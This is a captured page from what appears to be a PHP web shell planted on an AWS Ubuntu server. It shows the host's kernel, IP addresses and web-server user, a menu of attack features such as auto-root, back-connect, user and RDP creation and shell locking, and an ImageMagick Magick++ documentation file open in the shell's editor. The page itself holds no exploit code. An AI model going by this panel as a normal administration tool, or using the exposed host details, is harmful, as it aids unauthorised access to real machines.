Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.14.249.191
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
ubuntu /
ImageMagick-7.0.10-22 /
www /
Magick++ /
[ HOME SHELL ]
Name
Size
Permission
Action
Blob.html
4.42
KB
-rw-rw-r--
COPYING
1.25
KB
-rw-rw-r--
Cache.fig
1.08
KB
-rw-rw-r--
Cache.png
1.79
KB
-rw-rw-r--
Cache.svg
4.88
KB
-rw-rw-r--
ChangeLog.html
305
B
-rw-rw-r--
CoderInfo.html
3.59
KB
-rw-rw-r--
Color.html
10.08
KB
-rw-rw-r--
Documentation.html
6.29
KB
-rw-rw-r--
Drawable.html
47.54
KB
-rw-rw-r--
Drawable_example_1.png
1.4
KB
-rw-rw-r--
Enumerations.html
55.91
KB
-rw-rw-r--
Exception.html
13.45
KB
-rw-rw-r--
FormatCharacters.html
2.73
KB
-rw-rw-r--
Future.html
305
B
-rw-rw-r--
Geometry.html
18.78
KB
-rw-rw-r--
Image++.html
137.36
KB
-rw-rw-r--
Image.fig
3.91
KB
-rw-rw-r--
Image.html
136.84
KB
-rw-rw-r--
Image.png
23.36
KB
-rw-rw-r--
ImageDesign.html
1.21
KB
-rw-rw-r--
ImageMagick.png
298.43
KB
-rw-rw-r--
Install.html
10.82
KB
-rw-rw-r--
Magick++.png
9.87
KB
-rw-rw-r--
Montage.html
14.1
KB
-rw-rw-r--
NEWS.html
305
B
-rw-rw-r--
PixelPacket.html
4.02
KB
-rw-rw-r--
Pixels.html
9.43
KB
-rw-rw-r--
Quantum.html
3.99
KB
-rw-rw-r--
README.txt
235
B
-rw-rw-r--
STL.html
83.36
KB
-rw-rw-r--
TypeMetric.html
4.03
KB
-rw-rw-r--
index.html
305
B
-rw-rw-r--
magick.css
11.13
KB
-rw-rw-r--
montage-sample-framed.jpg
19.72
KB
-rw-rw-r--
right_triangle.png
150
B
-rw-rw-r--
thumbnail-anatomy-framed.fig
1.27
KB
-rw-rw-r--
thumbnail-anatomy-framed.jpg
14.62
KB
-rw-rw-r--
thumbnail-anatomy-plain.fig
1.08
KB
-rw-rw-r--
thumbnail-anatomy-plain.jpg
12.31
KB
-rw-rw-r--
thumbnail-sample-framed.jpg
9.1
KB
-rw-rw-r--
thumbnail-sample-plain.jpg
7.21
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Blob.html
<?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Magick++ API: Working with Blobs</title> <link rel="stylesheet" href="magick.css" type="text/css" /> </head> <body> <div class="doc-section"> <h1 align="center">Magick::Blob</h1> <p>Blob provides the means to contain any opaque data. It is named after the term "Binary Large OBject" commonly used to describe unstructured data (such as encoded images) which is stored in a database. While the function of Blob is very simple (store a pointer and and size associated with allocated data), the Blob class provides some very useful capabilities. In particular, it is fully reference counted just like the Image class.</p> <p>The Blob class supports value assignment while preserving any outstanding earlier versions of the object. Since assignment is via a pointer internally, Blob is efficient enough to be stored directly in an STL container or any other data structure which requires assignment. In particular, by storing a Blob in an <a href="http://www.sgi.com/tech/stl/AssociativeContainer.html">associative container</a> (such as STL's '<a href="http://www.sgi.com/tech/stl/Map.html"><i>map</i></a>') it is possible to create simple indexed in-memory "database" of Blobs.</p> <p>Magick++ currently uses Blob to contain encoded images (e.g. JPEG) as well as ICC and IPTC profiles. Since Blob is a general-purpose class, it may be used for other purposes as well.</p> <p style="margin-bottom: 0cm">The methods Blob provides are shown in the following table:</p> <br /> <p align="center" style="margin-bottom: 0cm"><b>Blob Methods</b></p> <table width="100%" border="1" cellpadding="2" cellspacing="2"> <tr> <td> <p align="center"><b>Method</b></p></td> <td> <p align="center"><b>Return Type</b></p></td> <td> <p align="center"><b>Signature(s)</b></p></td> <td> <p align="center"><b>Description</b></p></td></tr> <tr> <td rowspan="3"> <p><a name="Blob"></a><font size="2">Blob</font></p></td> <td rowspan="3" bgcolor="#666666"></td> <td> <p><font size="2">void</font></p></td> <td> <p><font size="2">Default constructor</font></p></td></tr> <tr> <td> <p><font size="2">const void* data_, size_t length_</font></p></td> <td> <p><font size="2">Construct object with data, making a copy of the supplied data</font></p></td></tr> <tr> <td> <p><font size="2">const Blob& blob_</font></p></td> <td> <p><font size="2">Copy constructor (reference counted)</font></p></td></tr> <tr> <td> <p><a name="operator="></a><font size="2">operator=</font></p></td> <td> <p><font size="2">Blob</font></p></td> <td> <p><font size="2">const Blob& blob_</font></p></td> <td> <p><font size="2">Assignment operator (reference counted)</font></p></td></tr> <tr> <td> <p><a name="update"></a><font size="2">update</font></p></td> <td> <p><font size="2">void</font></p></td> <td> <p><font size="2">const void* data_, size_t length_</font></p></td> <td> <p><font size="2">Update object contents, making a copy of the supplied data. Any existing data in the object is deallocated.</font></p></td></tr> <tr> <td> <p><a name="data"></a><font size="2">data</font></p></td> <td> <p><font size="2">const void*</font></p></td> <td> <p><font size="2">void</font></p></td> <td> <p><font size="2">Obtain pointer to data</font></p></td></tr> <tr> <td> <p><a name="length"></a><font size="2">length</font></p></td> <td> <p><font size="2">size_t</font></p></td> <td> <p><font size="2">void</font></p></td> <td> <p><font size="2">Obtain data length</font></p></td></tr> <tr> <td> <p><a name="updateNoCopy"></a><font size="2">updateNoCopy</font></p></td> <td> <p><font size="2">void</font></p></td> <td> <p><font size="2">void* data_, size_t length_, Blob::Allocator allocator_ = Blob::NewAllocator</font></p></td> <td> <p><font size="2">Update object contents, using supplied pointer directly (no copy) Any existing data in the object is deallocated. The user must ensure that the pointer supplied is not deleted or otherwise modified after it has been supplied to this method. The optional allocator_ parameter allows the user to specify if the C (MallocAllocator) or C++ (NewAllocator) memory allocation system was used to allocate the memory. The default is to use the C++ memory allocator.</font></p></td></tr></table> </div> </body> </html>
Close